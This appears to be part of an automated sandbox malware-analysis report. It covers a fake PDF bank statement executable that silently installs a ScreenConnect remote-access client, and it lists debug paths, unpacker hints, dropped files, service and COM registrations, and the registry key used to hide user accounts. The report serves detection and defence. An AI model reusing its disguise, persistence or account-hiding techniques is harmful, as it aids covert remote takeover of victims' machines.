                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1565892092.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1565892092.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.pdbdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2464110748.0000000001418000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.16.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.16.dr
                                Source: Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp
                                Source: Binary string: System.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566241188.0000000005800000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.000000000499C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2489302081.0000000004752000.00000002.00000001.01000000.00000010.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.Core.dll.16.dr
                                Source: Binary string: System.pdbF source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2471533728.0000000002122000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470816037.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmp
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1560876773.0000000002F80000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000013.00000000.1592014322.000000000017D000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.ClientService.exe.14.dr
                                Source: Binary string: nHC:\Windows\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2502939276.0000000005A9C000.00000004.00000010.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566828907.0000000005890000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.Windows.dll.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000010.00000003.1571064272.0000000004820000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.16.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.16.dr
                                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2464110748.0000000001418000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1571324289.0000000007026000.00000004.00000800.00020000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, 4ad421.rbs.14.dr, Unconfirmed 905245.crdownload.1.dr, MSID692.tmp.14.dr, 4ad420.msi.14.dr, MSID887.tmp.14.dr, chromecache_123.2.dr, 4ad422.msi.14.dr, MSID672.tmp.14.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr
                                Source: Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.14.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.16.dr
                                Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000001361000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CB6000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1581021023.0000000007B04000.00000004.00000800.00020000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1571324289.0000000006D43000.00000004.00000800.00020000.00000000.sdmp, Unconfirmed 905245.crdownload.1.dr, 4ad420.msi.14.dr, chromecache_123.2.dr, 4ad422.msi.14.dr, MSICD79.tmp.13.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566828907.0000000005890000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.Windows.dll.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470250350.0000000000CB2000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Client.dll.14.dr
                                Source: Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.14.dr
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549086429.0000000000F5D000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr

                                Data Obfuscation

                                barindex
                                .NET source code contains potential unpacker
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.2f80000.0.raw.unpack, Program.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.14978f8.4.raw.unpack, Program.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: real checksum: 0x54fd91 should be: 0x55e177
                                Source: chromecache_123.2.drStatic PE information: real checksum: 0x54fd91 should be: 0x55e177
                                Source: 79a99374-7c91-4f1c-b843-e190de3d3a98.tmp.1.drStatic PE information: real checksum: 0x54fd91 should be: 0x4846
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_00F26F00 push eax; mov dword ptr [esp], ecx12_2_00F26F11
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_00F29894 push ebx; retf 12_2_00F2989C
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB5644 push ebx; retf 12_2_05AB564C
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB50A4 push ebx; retf 12_2_05AB50AC
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB5BB4 push ebx; retf 12_2_05AB5BBC
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB5AE0 push esp; iretd 12_2_05AB5AE1
                                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 16_3_04B66323 pushad ; ret 16_3_04B66332
                                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 16_3_04B66F63 pushad ; ret 16_3_04B66F76
                                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 16_3_04B65C78 push ebx; ret 16_3_04B65C87
                                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 16_3_04B65E70 push esi; ret 16_3_04B65E7F
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_0212A5F5 push es; ret 19_2_0212A5F6
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_0212506B push es; ret 19_2_021252FC
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04756C91 push es; iretd 19_2_04756CA9
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_0475694C push ss; iretd 19_2_04756951
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B1DDAB push ecx; ret 19_2_04B1DDBE
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BE0FFE push ecx; ret 19_2_04BE1011
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B5489D push ecx; ret 19_2_04B548B0
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_020EC4EC push ebx; retf 19_2_020EC4F4
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_05EAB6C3 pushfd ; ret 19_2_05EAB6C9
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_05EAB64B pushad ; ret 19_2_05EAB651
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC441922 push FFFFFF9Fh; iretd 20_2_00007FFEBC441924
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC447D94 push ss; iretd 20_2_00007FFEBC447D95
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC4421A2 push 00000044h; iretd 20_2_00007FFEBC4421A4
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC4455DF push ebp; iretd 20_2_00007FFEBC4455E8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC442F3C pushfd ; iretd 20_2_00007FFEBC442F3D

                                Persistence and Installation Behavior

                                barindex
                                Possible COM Object hijacking
                                Source: c:\program files (x86)\screenconnect client (e6cb77284cf765aa)\screenconnect.windowscredentialprovider.dllCOM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{6ff59a85-bc37-4cd4-1b99-d78ca2f0bc1a}\inprocserver32
                                Source: c:\program files (x86)\screenconnect client (e6cb77284cf765aa)\screenconnect.windowscredentialprovider.dllCOM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{6ff59a85-bc37-4cd4-1b99-d78ca2f0bc1a}\inprocserver32
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsAuthenticationPackage.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.InstallerActions.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsCredentialProvider.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.Cab.dllJump to dropped file
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe (copy)Jump to dropped file
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 123Jump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exeJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Core.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Windows.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.dllJump to dropped file
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\79a99374-7c91-4f1c-b843-e190de3d3a98.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID692.tmpJump to dropped file
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\Unconfirmed 905245.crdownloadJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exeJump to dropped file
                                Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSICD79.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID887.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID692.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID887.tmpJump to dropped file
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 123
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 123Jump to dropped file
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\ApplicationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (e6cb77284cf765aa)Jump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnkJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnkJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnkJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnkJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnkJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnkJump to behavior

                                Hooking and other Techniques for Hiding and Protection

                                barindex
                                Contains functionality to hide user accounts
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566828907.0000000005890000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: rundll32.exe, 00000010.00000003.1565793061.000000000499C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: ScreenConnect.ClientService.exeString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2471533728.0000000002122000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2470816037.0000000000CF0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                                Source: ScreenConnect.Windows.dll.14.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: Unconfirmed 905245.crdownload.1.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: chromecache_123.2.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: ScreenConnect.Windows.dll.16.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
